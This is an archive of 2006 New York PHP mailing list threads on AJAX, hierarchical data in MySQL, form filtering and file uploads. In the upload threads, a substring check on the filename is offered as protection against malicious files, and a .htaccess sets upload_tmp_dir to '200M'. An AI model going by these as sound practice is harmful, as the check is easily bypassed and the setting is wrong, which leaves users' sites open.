While the system is excellent for large and complex databases (as in
hundreds of tables, loads of calculations and constraints), it can also do
simple projects.  To wit, the documentation site itself is an Andromeda
application with some wiki functionality built in.

We are particularly proud of the self-documenting features of system, every
system we build for our clients gets this type of detail "for free":

http://docs.secdat.com/?gp_page=x_docview&gppn=Data+Dictionary

Support is available at andromeda at secdat.com.  You can also contact me
directly at the email address given below.
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From ps at pswebcode.com  Tue Jul 25 08:01:50 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Tue, 25 Jul 2006 08:01:50 -0400
Subject: [nycphp-talk] A Case for an AJAX Aid
Message-ID: <000001c6afe2$1d7e3d40$68e4a144@Rubicon>

Check this site: www.carmax.com and go do a search for a vehicle 
E.g. this link searches around Tampa Florida: 
http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16 

Choose Make, Model... etc. and watch the whole page disappear out from under

you and reload on every dropdown selection. Whoa. 

Wouldn't you say that an AJAX-like solution that only updated the dropdowns
and/or divs 
would make this already highly-effective interface even more slick. It
would.

Join the EEP (Enhanced Experience Programming) movement. 
Put an AJAX aid in every task that could use it. 
Viva la AJAX. 

----------------------

By the by, almost every used car for sale on this site comes with 5 or 10
interior and 
exterior pictures, so if your looking to buy and want to quickly sample what
all kinds 
of cars look like at all types of trim levels and colors and interior
options (without 
going to 10 dealerships) you'll probably find it here.

Warmest regards,

Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com



From ken at secdat.com  Tue Jul 25 09:09:05 2006
From: ken at secdat.com (Kenneth Downs)
Date: Tue, 25 Jul 2006 09:09:05 -0400
Subject: [nycphp-talk] RSVP Policy?
Message-ID: <44C617F1.7020600@secdat.com>

We have had an opening in our schedule and will be able to attend today, 
but have not yet RSVP'd.

The site says we had to do it by yesterday?  Is this hard and fast?
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From lists at zaunere.com  Tue Jul 25 09:21:58 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Tue, 25 Jul 2006 09:21:58 -0400
Subject: [nycphp-talk] RSVP Policy?
In-Reply-To: <44C617F1.7020600@secdat.com>
Message-ID: <008401c6afed$51e8d080$740aa8c0@MobileZ>



Kenneth Downs wrote on Tuesday, July 25, 2006 9:09 AM:
> We have had an opening in our schedule and will be able to attend
> today, but have not yet RSVP'd.
> 
> The site says we had to do it by yesterday?  Is this hard and fast?

Nope - RSVP now, you'll be ok.

H




From ken at secdat.com  Tue Jul 25 09:23:35 2006
From: ken at secdat.com (Kenneth Downs)
Date: Tue, 25 Jul 2006 09:23:35 -0400
Subject: [nycphp-talk] RSVP Policy?
In-Reply-To: <008401c6afed$51e8d080$740aa8c0@MobileZ>
References: <008401c6afed$51e8d080$740aa8c0@MobileZ>
Message-ID: <44C61B57.4050408@secdat.com>

Hans Zaunere wrote:

>Kenneth Downs wrote on Tuesday, July 25, 2006 9:09 AM:
>  
>
cool.  see you later then.

>>We have had an opening in our schedule and will be able to attend
>>today, but have not yet RSVP'd.
>>
>>The site says we had to do it by yesterday?  Is this hard and fast?
>>    
>>
>
>Nope - RSVP now, you'll be ok.
>
>H
>
>
>_______________________________________________
>New York PHP Community Talk Mailing List
>http://lists.nyphp.org/mailman/listinfo/talk
>
>NYPHPCon 2006 Presentations Online
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>
>Show Your Participation in New York PHP
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From felix.shnir at gmail.com  Tue Jul 25 10:50:19 2006
From: felix.shnir at gmail.com (Felix Shnir)
Date: Tue, 25 Jul 2006 10:50:19 -0400
Subject: [nycphp-talk] A Case for an AJAX Aid
In-Reply-To: <000001c6afe2$1d7e3d40$68e4a144@Rubicon>
References: <000001c6afe2$1d7e3d40$68e4a144@Rubicon>
Message-ID: <ee3adaa10607250750r1adfb3em7aff91e6673f16d4@mail.gmail.com>

spam...

On 7/25/06, Peter Sawczynec <ps at pswebcode.com> wrote:
>
> Check this site: www.carmax.com and go do a search for a vehicle
> E.g. this link searches around Tampa Florida:
> http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16
>
> Choose Make, Model... etc. and watch the whole page disappear out from
> under
>
> you and reload on every dropdown selection. Whoa.
>
> Wouldn't you say that an AJAX-like solution that only updated the
> dropdowns
> and/or divs
> would make this already highly-effective interface even more slick. It
> would.
>
> Join the EEP (Enhanced Experience Programming) movement.
> Put an AJAX aid in every task that could use it.
> Viva la AJAX.
>
> ----------------------
>
> By the by, almost every used car for sale on this site comes with 5 or 10
> interior and
> exterior pictures, so if your looking to buy and want to quickly sample
> what
> all kinds
> of cars look like at all types of trim levels and colors and interior
> options (without
> going to 10 dealerships) you'll probably find it here.
>
> Warmest regards,
>
> Peter Sawczynec,
> Technology Director
> PSWebcode
> _Design & Interface
> _Ecommerce
> _Database Management
> ps at pswebcode.com
> 718.796.1951
> www.pswebcode.com
>
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
>
> NYPHPCon 2006 Presentations Online
> http://www.nyphpcon.com
>
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>
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From ps at pswebcode.com  Tue Jul 25 11:38:19 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Tue, 25 Jul 2006 11:38:19 -0400
Subject: [nycphp-talk] A Case for an AJAX Aid
In-Reply-To: <ee3adaa10607250750r1adfb3em7aff91e6673f16d4@mail.gmail.com>
Message-ID: <000e01c6b000$5b427b50$68e4a144@Rubicon>

S pearhead
P HP Programmer 
A ncillary 
M essage...

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Felix Shnir
Sent: Tuesday, July 25, 2006 10:50 AM
To: NYPHP Talk
Subject: Re: [nycphp-talk] A Case for an AJAX Aid


spam...


On 7/25/06, Peter Sawczynec <ps at pswebcode.com> wrote: 

Check this site: www.carmax.com and go do a search for a vehicle
E.g. this link searches around Tampa Florida:
http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614
<http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16>
&l=7105&d=&m=16

Choose Make, Model... etc. and watch the whole page disappear out from under

you and reload on every dropdown selection. Whoa. 

Wouldn't you say that an AJAX-like solution that only updated the dropdowns
and/or divs
would make this already highly-effective interface even more slick. It
would.

Join the EEP (Enhanced Experience Programming) movement. 
Put an AJAX aid in every task that could use it.
Viva la AJAX.

----------------------

By the by, almost every used car for sale on this site comes with 5 or 10
interior and
exterior pictures, so if your looking to buy and want to quickly sample what

all kinds
of cars look like at all types of trim levels and colors and interior
options (without
going to 10 dealerships) you'll probably find it here.

Warmest regards,

Peter Sawczynec,
Technology Director 
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com

_______________________________________________ 
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk

NYPHPCon 2006 Presentations Online
http://www.nyphpcon.com

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http://www.nyphp.org/show_participation.php



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From 1j0lkq002 at sneakemail.com  Tue Jul 25 13:01:12 2006
From: 1j0lkq002 at sneakemail.com (inforequest)
Date: Tue, 25 Jul 2006 10:01:12 -0700
Subject: [nycphp-talk] A Case for an AJAX Aid
In-Reply-To: <000001c6afe2$1d7e3d40$68e4a144@Rubicon>
References: <000001c6afe2$1d7e3d40$68e4a144@Rubicon>
Message-ID: <2838-59078@sneakemail.com>

"waiting for a.carmax.com........."

That must have been sarcasm, not spam. Watching the whole page disappear 
and reload on every change to a drop down menu is not my idea of a fun 
day. I'd rather negotiate with a used car salesman than wait for this to 
"interact". Reminds me of a "quick trip to the department of motor 
vehicles". No thanky.

-=john
http://www.johnon.com



Peter Sawczynec ps-at-pswebcode.com |nyphp dev/internal group use| wrote:

>Check this site: www.carmax.com and go do a search for a vehicle 
>E.g. this link searches around Tampa Florida: 
>http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16 
>
>Choose Make, Model... etc. and watch the whole page disappear out from under
>
>you and reload on every dropdown selection. Whoa. 
>
>Wouldn't you say that an AJAX-like solution that only updated the dropdowns
>and/or divs 
>would make this already highly-effective interface even more slick. It
>would.
>
>Join the EEP (Enhanced Experience Programming) movement. 
>Put an AJAX aid in every task that could use it. 
>Viva la AJAX. 
>
>----------------------
>
>By the by, almost every used car for sale on this site comes with 5 or 10
>interior and 
>exterior pictures, so if your looking to buy and want to quickly sample what
>all kinds 
>of cars look like at all types of trim levels and colors and interior
>options (without 
>going to 10 dealerships) you'll probably find it here.
>
>Warmest regards,
>  
>


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From daniela at ula.ve  Wed Jul 26 11:37:08 2006
From: daniela at ula.ve (Daniela Gutierrez)
Date: Wed, 26 Jul 2006 11:37:08 -0400
Subject: [nycphp-talk] uploaded files
Message-ID: <44C78C24.6060409@ula.ve>

Hi everybody!

I would like to know how to verify that the files they had been uploaded 
by some user are j peg, because I only want them to upload images and I 
also want to be sure that they are not uploading some kind of malicious 
files. Is there any function or something like it that I could use??
Thanks, and sorry for my English ;)


From rahmin at insite-out.com  Wed Jul 26 12:23:49 2006
From: rahmin at insite-out.com (Rahmin Pavlovic)
Date: Wed, 26 Jul 2006 12:23:49 -0400
Subject: [nycphp-talk] uploaded files
In-Reply-To: <44C78C24.6060409@ula.ve>
Message-ID: <C0ED0F55.1B266%rahmin@insite-out.com>


On 7/26/06 11:37 AM, "Daniela Gutierrez" <daniela at ula.ve> wrote:

> Hi everybody!
> 
> I would like to know how to verify that the files they had been uploaded
> by some user are j peg, because I only want them to upload images and I
> also want to be sure that they are not uploading some kind of malicious
> files. Is there any function or something like it that I could use??
> Thanks, and sorry for my English ;)


You can check to see:

if (stristr($_FILES['file_field']['name'],'.jpg')=='' &&
    stristr($_FILES['file_field']['name'],'.jpeg')=='') {
    
    // not okay

}
else {

    // okay

}

That just checks for the existence of the file-extension in the filename
(which you can tighten up), but I'm guessing you can do something similar to
the following if you have a recent version of GD installed:

if(!imagecreatefromjpeg($_FILES['file_field']['tmp_name'])) {

    // file doesn't appear to be a valid jpeg

}




From tedd at sperling.com  Wed Jul 26 13:21:19 2006
From: tedd at sperling.com (tedd)
Date: Wed, 26 Jul 2006 13:21:19 -0400
Subject: [nycphp-talk] uploaded files
In-Reply-To: <C0ED0F55.1B266%rahmin@insite-out.com>
References: <C0ED0F55.1B266%rahmin@insite-out.com>
Message-ID: <p0623090ec0ed50c330e6@[192.168.1.100]>

At 12:23 PM -0400 7/26/06, Rahmin Pavlovic wrote:
>On 7/26/06 11:37 AM, "Daniela Gutierrez" <daniela at ula.ve> wrote:
>
>>  Hi everybody!
>>
>>  I would like to know how to verify that the files they had been uploaded
>>  by some user are j peg, because I only want them to upload images and I
>  > also want to be sure that they are not uploading some kind of malicious
>  > files.
>
>if (stristr($_FILES['file_field']['name'],'.jpg')=='' &&
>     stristr($_FILES['file_field']['name'],'.jpeg')=='') {
>     // not okay
>}
>else {
>     // okay
>}
>
>That just checks for the existence of the file-extension in the filename
>(which you can tighten up), but I'm guessing you can do something similar to
>the following if you have a recent version of GD installed:
>
>if(!imagecreatefromjpeg($_FILES['file_field']['tmp_name'])) {
>     // file doesn't appear to be a valid jpeg
>}

In addition to that, you might resample the image to a different 
size, or convert to another format, or cut, or crop, or merge with 
another image (i.e., copyright). If it is malicious code, then that 
should cause the offending code some problems -- however -- I've 
never encountered any malicious code, it's just an idea.

Furthermore, if you get the image size via:

$imageArray = getimagesize("the.jpg");

and dump the array.

print_r($imageArray);

You will see several data that you could test for.

I'm entertaining the same problem.

hth's

tedd
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From daniela at ula.ve  Wed Jul 26 15:01:04 2006
From: daniela at ula.ve (Daniela Gutierrez)
Date: Wed, 26 Jul 2006 15:01:04 -0400
Subject: [nycphp-talk] uploaded files
In-Reply-To: <p0623090ec0ed50c330e6@[192.168.1.100]>
References: <C0ED0F55.1B266%rahmin@insite-out.com>
	<p0623090ec0ed50c330e6@[192.168.1.100]>
Message-ID: <44C7BBF0.7080007@ula.ve>

Thanks to tedd and rahmin fro their answers, I'm gonna try to do what 
you advice me, i hope that will help me secure a little bit more my site.
Thanks again

tedd wrote:

>At 12:23 PM -0400 7/26/06, Rahmin Pavlovic wrote:
>  
>
>>On 7/26/06 11:37 AM, "Daniela Gutierrez" <daniela at ula.ve> wrote:
>>
>>    
>>
>>> Hi everybody!
>>>
>>> I would like to know how to verify that the files they had been uploaded
>>> by some user are j peg, because I only want them to upload images and I
>>>      
>>>
>> > also want to be sure that they are not uploading some kind of malicious
>> > files.
>>
>>if (stristr($_FILES['file_field']['name'],'.jpg')=='' &&
>>    stristr($_FILES['file_field']['name'],'.jpeg')=='') {
>>    // not okay
>>}
>>else {
>>    // okay
>>}
>>
>>That just checks for the existence of the file-extension in the filename
>>(which you can tighten up), but I'm guessing you can do something similar to
>>the following if you have a recent version of GD installed:
>>
>>if(!imagecreatefromjpeg($_FILES['file_field']['tmp_name'])) {
>>    // file doesn't appear to be a valid jpeg
>>}
>>    
>>
>
>In addition to that, you might resample the image to a different 
>size, or convert to another format, or cut, or crop, or merge with 
>another image (i.e., copyright). If it is malicious code, then that 
>should cause the offending code some problems -- however -- I've 
>never encountered any malicious code, it's just an idea.
>
>Furthermore, if you get the image size via:
>
>$imageArray = getimagesize("the.jpg");
>
>and dump the array.
>
>print_r($imageArray);
>
>You will see several data that you could test for.
>
>I'm entertaining the same problem.
>
>hth's
>
>tedd
>  
>



From lamolist at cyberxdesigns.com  Wed Jul 26 16:12:56 2006
From: lamolist at cyberxdesigns.com (Hans Kaspersetz)
Date: Wed, 26 Jul 2006 16:12:56 -0400
Subject: [nycphp-talk] NYPHP Presentations Updated
Message-ID: <44C7CCC8.2080008@cyberxdesigns.com>

I have posted the July presentation. Mitch did a great job. Audio will 
follow shortly.

Also in the last week, I posted June, May and April.

Titles:

*Presenting... the New Joomla! 1.5
**An Introduction to PHP-GTK 2
Beyond Mashups: Situational Application Runtimes using PHP
It's a Small World - Build Applications for It
*
Presentations can be found at: 
http://www.nyphp.org/content/presentations/index.php

Thanks,
Hans Kaspersetz

Presentation Lacky, NYPHP
http://www.nyphp.org
http://www.cyberxdesigns.com


From gatzby3jr at gmail.com  Wed Jul 26 19:23:33 2006
From: gatzby3jr at gmail.com (Brian O'Connor)
Date: Wed, 26 Jul 2006 19:23:33 -0400
Subject: [nycphp-talk] Building trees
Message-ID: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>

Hello all,

Right now I'm building a site that has a "tree" like structure, and right
now in order to get the children I'm using a recursive function to get them
all, works fine, but that strikes me as inefficient and I'm trying to find a
way to get it with one query, rather than a variable amount of queries based
on how many 'events' a user has.

I looked through the archives of the list to find a thread exactly like
this, but was in 2002 apparently before MySQL had subqueries (and apparently
that's what you need; I'm not sure but that's what I gathered looking
through the responses).

I was wondering if anyone could help me out.

Right now all the events are in a table called 'cal_events', each row has an
id and a parent_id (among other things that I don't think are important for
this).  If you'd like to see the function I can certainly post that as well.

All I do is get all the events that have a parent_id of 0 (top level), loop
through them to get their children, and loop through them to get their
children etc (in order), and indent them as needed on the display side.

Thanks in advance for any ideas.

-- 
Brian O'Connor
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From rmarscher at beaffinitive.com  Wed Jul 26 20:11:21 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Wed, 26 Jul 2006 20:11:21 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
Message-ID: <44C804A9.8020307@beaffinitive.com>

Maybe try using a modified preorder tree.  This article explains it in 
MySQL/PHP terms - 
<http://www.sitepoint.com/article/hierarchical-data-database/2>.  If you 
organize your tree that way, it will prevent the need for recusion.  The 
only downside is it's more difficult to understand and requires more 
queries when adding new nodes because you have to update the numbering 
for the other nodes.  But I recommend it.

FYI, nyphp-mysql is a special list for MySQL related PHP topics - 
<http://lists.nyphp.org/mailman/listinfo/mysql>

-Rob


Brian O'Connor wrote:
> Hello all,
> 
> Right now I'm building a site that has a "tree" like structure, and 
> right now in order to get the children I'm using a recursive function to 
> get them all, works fine, but that strikes me as inefficient and I'm 
> trying to find a way to get it with one query, rather than a variable 
> amount of queries based on how many 'events' a user has.
> 
> I looked through the archives of the list to find a thread exactly like 
> this, but was in 2002 apparently before MySQL had subqueries (and 
> apparently that's what you need; I'm not sure but that's what I gathered 
> looking through the responses).
> 
> I was wondering if anyone could help me out.
> 
> Right now all the events are in a table called 'cal_events', each row 
> has an id and a parent_id (among other things that I don't think are 
> important for this).  If you'd like to see the function I can certainly 
> post that as well.
> 
> All I do is get all the events that have a parent_id of 0 (top level), 
> loop through them to get their children, and loop through them to get 
> their children etc (in order), and indent them as needed on the display 
> side.
> 
> Thanks in advance for any ideas.
> 
> -- 
> Brian O'Connor
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> 
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> 
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From jim at bizcomputinginc.com  Wed Jul 26 21:31:35 2006
From: jim at bizcomputinginc.com (Jim Hendricks)
Date: Wed, 26 Jul 2006 21:31:35 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <44C804A9.8020307@beaffinitive.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
	<44C804A9.8020307@beaffinitive.com>
Message-ID: <44C81777.5000308@bizcomputinginc.com>

I've got somewhere in my library of routines a set of routines for trees 
using nested subsets.  It worked with mysql and if I recall correctly 
the queries were all simple enough without the need for subqueries.  I 
also seem to recall Hans working on a nested subset lib and discussing 
it on this list.

Jim

Rob Marscher wrote:
> Maybe try using a modified preorder tree.  This article explains it in 
> MySQL/PHP terms - 
> <http://www.sitepoint.com/article/hierarchical-data-database/2>.  If you 
> organize your tree that way, it will prevent the need for recusion.  The 
> only downside is it's more difficult to understand and requires more 
> queries when adding new nodes because you have to update the numbering 
> for the other nodes.  But I recommend it.
>
> FYI, nyphp-mysql is a special list for MySQL related PHP topics - 
> <http://lists.nyphp.org/mailman/listinfo/mysql>
>
> -Rob
>
>
> Brian O'Connor wrote:
>   
>> Hello all,
>>
>> Right now I'm building a site that has a "tree" like structure, and 
>> right now in order to get the children I'm using a recursive function to 
>> get them all, works fine, but that strikes me as inefficient and I'm 
>> trying to find a way to get it with one query, rather than a variable 
>> amount of queries based on how many 'events' a user has.
>>
>> I looked through the archives of the list to find a thread exactly like 
>> this, but was in 2002 apparently before MySQL had subqueries (and 
>> apparently that's what you need; I'm not sure but that's what I gathered 
>> looking through the responses).
>>
>> I was wondering if anyone could help me out.
>>
>> Right now all the events are in a table called 'cal_events', each row 
>> has an id and a parent_id (among other things that I don't think are 
>> important for this).  If you'd like to see the function I can certainly 
>> post that as well.
>>
>> All I do is get all the events that have a parent_id of 0 (top level), 
>> loop through them to get their children, and loop through them to get 
>> their children etc (in order), and indent them as needed on the display 
>> side.
>>
>> Thanks in advance for any ideas.
>>
>> -- 
>> Brian O'Connor
>>
>>
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> New York PHP Community Talk Mailing List
>> http://lists.nyphp.org/mailman/listinfo/talk
>>
>> NYPHPCon 2006 Presentations Online
>> http://www.nyphpcon.com
>>
>> Show Your Participation in New York PHP
>> http://www.nyphp.org/show_participation.php
>>     
> _______________________________________________
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> http://lists.nyphp.org/mailman/listinfo/talk
>
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From jonbaer at jonbaer.com  Wed Jul 26 21:50:41 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Wed, 26 Jul 2006 21:50:41 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
Message-ID: <B0A8AC4E-E8AE-4AB6-8CE7-2596CD6247FE@jonbaer.com>

I beleive what you are looking to get into is nested sets ...

http://www.edutech.ch/contribution/nstrees/index.php

What you have sounds like you are on the right track ...

There is also a PEAR package for doing NS w/ dbs:

http://pear.php.net/package/DB_NestedSet

- Jon

On Jul 26, 2006, at 7:23 PM, Brian O'Connor wrote:

> Hello all,
>
> Right now I'm building a site that has a "tree" like structure, and  
> right now in order to get the children I'm using a recursive  
> function to get them all, works fine, but that strikes me as  
> inefficient and I'm trying to find a way to get it with one query,  
> rather than a variable amount of queries based on how many 'events'  
> a user has.
>
> I looked through the archives of the list to find a thread exactly  
> like this, but was in 2002 apparently before MySQL had subqueries  
> (and apparently that's what you need; I'm not sure but that's what  
> I gathered looking through the responses).
>
> I was wondering if anyone could help me out.
>
> Right now all the events are in a table called 'cal_events', each  
> row has an id and a parent_id (among other things that I don't  
> think are important for this).  If you'd like to see the function I  
> can certainly post that as well.
>
> All I do is get all the events that have a parent_id of 0 (top  
> level), loop through them to get their children, and loop through  
> them to get their children etc (in order), and indent them as  
> needed on the display side.
>
> Thanks in advance for any ideas.
>
> -- 
> Brian O'Connor
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
>
> NYPHPCon 2006 Presentations Online
> http://www.nyphpcon.com
>
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php



From lists at zaunere.com  Wed Jul 26 22:02:03 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Wed, 26 Jul 2006 22:02:03 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <44C81777.5000308@bizcomputinginc.com>
Message-ID: <005101c6b120$bbd005c0$6c0aa8c0@MobileZ>



Jim Hendricks wrote on Wednesday, July 26, 2006 9:32 PM:
> I've got somewhere in my library of routines a set of routines for
> trees using nested subsets.  It worked with mysql and if I recall
> correctly the queries were all simple enough without the need for
> subqueries.  I also seem to recall Hans working on a nested subset
> lib and discussing it on this list.

An NSM related presentation a while back:

http://www.nyphp.org/content/presentations/nyphp/index.php?slide=2


Old school code:

http://cvs.nyphp.org/cvsweb.cgi/clew/Attic/pnsm.pcom

http://cvs.nyphp.org/cvsweb.cgi/clew/lib/


And search here:

http://www.nyphp.org/google.php

for things like 'nsm' for a lot of discussion.

---
Hans Zaunere / President / New York PHP
   www.nyphp.org  /  www.nyphp.com





From jonbaer at jonbaer.com  Wed Jul 26 22:10:11 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Wed, 26 Jul 2006 22:10:11 -0400
Subject: [nycphp-talk] Script or method to "junk" a table(s)?
Message-ID: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com>

Does anyone know of any easy script/way to junk a table?

Im trying to think of a simple solution that while you are developing  
a schema/app to easily fill it with test data, not really something  
like fixtures in rails but something that can figure if you have  
varchar(x), char(x), int(x), blob, etc and fill it with -n rows.

Does mysql have anything?  Im sure something can be done w/ bash and  
mysqlimport + desc columns but cant think of route to take.

Thanks.

- Jon


From cliff at pinestream.com  Thu Jul 27 02:07:05 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Thu, 27 Jul 2006 02:07:05 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <44C804A9.8020307@beaffinitive.com>
Message-ID: <001e01c6b142$e3ec2620$4e00000a@HirschLaptop>

I use this structure and find it to be very effective for reads. Just
remember to use InnoDB for updates as a crash during an update can
corrupt the entire table structure. Also remember that it can be very
inefficient for writes if you have a very large table and are
manipulating nodes. 

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Rob Marscher
Sent: Wednesday, July 26, 2006 7:11 PM
To: NYPHP Talk
Subject: Re: [nycphp-talk] Building trees

Maybe try using a modified preorder tree.  This article explains it in 
MySQL/PHP terms - 
<http://www.sitepoint.com/article/hierarchical-data-database/2>.  If you

organize your tree that way, it will prevent the need for recusion.  The

only downside is it's more difficult to understand and requires more 
queries when adding new nodes because you have to update the numbering 
for the other nodes.  But I recommend it.

FYI, nyphp-mysql is a special list for MySQL related PHP topics - 
<http://lists.nyphp.org/mailman/listinfo/mysql>

-Rob



From edwardpotter at gmail.com  Thu Jul 27 02:11:08 2006
From: edwardpotter at gmail.com (edward potter)
Date: Thu, 27 Jul 2006 02:11:08 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <001e01c6b142$e3ec2620$4e00000a@HirschLaptop>
References: <44C804A9.8020307@beaffinitive.com>
	<001e01c6b142$e3ec2620$4e00000a@HirschLaptop>
Message-ID: <c5949a380607262311o2c0e46c6o67d342117d8e5a76@mail.gmail.com>

wait, I thought we were all done with this sql stuff, isn't everything
supposed to be "tagged"?  meaning : many steps in sql, 1 step in a
tagging world to access your data.  :-)   ed



On 7/27/06, Cliff Hirsch <cliff at pinestream.com> wrote:
> I use this structure and find it to be very effective for reads. Just
> remember to use InnoDB for updates as a crash during an update can
> corrupt the entire table structure. Also remember that it can be very
> inefficient for writes if you have a very large table and are
> manipulating nodes.
>
> -----Original Message-----
> From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
> On Behalf Of Rob Marscher
> Sent: Wednesday, July 26, 2006 7:11 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] Building trees
>
> Maybe try using a modified preorder tree.  This article explains it in
> MySQL/PHP terms -
> <http://www.sitepoint.com/article/hierarchical-data-database/2>.  If you
>
> organize your tree that way, it will prevent the need for recusion.  The
>
> only downside is it's more difficult to understand and requires more
> queries when adding new nodes because you have to update the numbering
> for the other nodes.  But I recommend it.
>
> FYI, nyphp-mysql is a special list for MySQL related PHP topics -
> <http://lists.nyphp.org/mailman/listinfo/mysql>
>
> -Rob
>
> _______________________________________________
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> http://lists.nyphp.org/mailman/listinfo/talk
>
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>
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From agfische at email.smith.edu  Thu Jul 27 11:40:25 2006
From: agfische at email.smith.edu (Aaron Fischer)
Date: Thu, 27 Jul 2006 11:40:25 -0400
Subject: [nycphp-talk] Filtering form input
Message-ID: <44C8DE69.1040106@email.smith.edu>

Greetings listers,

I'm working on some new forms and would like to make them more secure by 
filtering the input.  I recently purchased and have at least partially 
digested Essential PHP Security by Chris Shiflett and The PHP Anthology 
by Harry Fuecks.  Based on this material I can see two possible paths ahead.

1.  Use the clean_array() approach and filter input data using PHP 
methods and/or regex expressions.
2.  Install the Pear package HTML_QuickForm and use for validating 
(filtering) input data.

I was leaning toward #1 but have very little experience with regex. 
It's probably implausible, particularly given time constraints, for me 
to attempt to build regex expressions for my form fields.  Are there any 
resources online for regex expressions that people would recommend for 
filtering input?  Secondly, in Chris's book I see ctype_alnum() and 
html_entities() as two methods recommended to use for filtering.  Are 
there other PHP methods folks would recommend?

I slogged through Pear and HTML_QuickForm a bit.  I haven't worked with 
Pear packages yet and am in a shared hosting environment, so I'm 
currently attempting to see what, if anything, is enabled and/or 
installed for Pear on my server.

Would appreciate any advice or recommendations for how to proceed with 
either method #1 or #2.  At this point I would be satisfied with minimal 
improvements to security as it would be a step in the right direction 
and I can improve my filtering techniques during the next project.

Thanks,

-Aaron


From dmintz at davidmintz.org  Thu Jul 27 11:49:47 2006
From: dmintz at davidmintz.org (David Mintz)
Date: Thu, 27 Jul 2006 11:49:47 -0400 (EDT)
Subject: [nycphp-talk] Filtering form input
In-Reply-To: <44C8DE69.1040106@email.smith.edu>
References: <44C8DE69.1040106@email.smith.edu>
Message-ID: <Pine.BSF.4.58.0607271145430.76844@emra.pair.com>

On Thu, 27 Jul 2006, Aaron Fischer wrote:

>
> I slogged through Pear and HTML_QuickForm a bit.  I haven't worked with
> Pear packages yet and am in a shared hosting environment, so I'm
> currently attempting to see what, if anything, is enabled and/or
> installed for Pear on my server.
>

If you decide to go with QuickForm, you can almost certainly install
whatever PEAR packages you need in you own personal directory on your
shared server account. Check out
http://pear.php.net/manual/en/installation.php


---
David Mintz
http://davidmintz.org/

Amendment IV

The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon
probable cause, supported by Oath or affirmation,
and particularly describing the place to be
searched, and the persons or things to be seized.


From corey at bmfenterprises.com  Thu Jul 27 11:57:44 2006
From: corey at bmfenterprises.com (Corey Fogarty)
Date: Thu, 27 Jul 2006 11:57:44 -0400
Subject: [nycphp-talk] Uploading file size issues
In-Reply-To: <mailman.345.1153965044.87004.talk@lists.nyphp.org>
Message-ID: <C0EE5AB8.2B8D2%corey@bmfenterprises.com>

I use file uploaders often. Most recently I have been using it as a way for
clients to upload Flash files as part of a database application. The .swf?s
are usually 2-10mg and in some cases the browser sits and sits and
apparently never really uploads the file. I looked all over for file size
limitations on the type=file HTML form element but found nothing specific.

Has anyone else experienced this? Is it a browser issue? Network speed
issue? PHP issue? And if it is a known issue, is it better to fall back on
FTP and a manual entry in the database?

Thanks!

Corey
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From nelly at cgim.com  Thu Jul 27 12:24:38 2006
From: nelly at cgim.com (Nelly Yusupova)
Date: Thu, 27 Jul 2006 12:24:38 -0400
Subject: [nycphp-talk] Uploading file size issues
In-Reply-To: <C0EE5AB8.2B8D2%corey@bmfenterprises.com>
Message-ID: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61>

Hello Corey,
 
I had the same problem with an upload script that I wrote.   To fix the
problem you will need to change the following settings in the php.ini file:

upload_max_filesize, post_max_size, memory_limit, upload_tmp_dir,
max_execution_time

You can also use .htaccess file to change these settings.  The .htaccess
file will need to be created in the local directory where your script
resides.

My .htaccess contains the following entries:

php_value upload_max_filesize 200M
php_value post_max_size 200M
php_value memory_limit 200M
php_value upload_tmp_dir 200M
php_value max_execution_time 50000

Hope this helps.

Sincerely,
Nelly Yusupova
Webgrrls Technical Lead (http://www.webgrrls.com)
Webgrrls NYC Chapter Leader (http://www.webgrrls.com/newyork_ny/)
Founder of DigitalWoman.com (http://www.digitalwoman.com)
email: nelly at digitalwoman.com 
cell: (917)- 603-9226
----------------------------------------
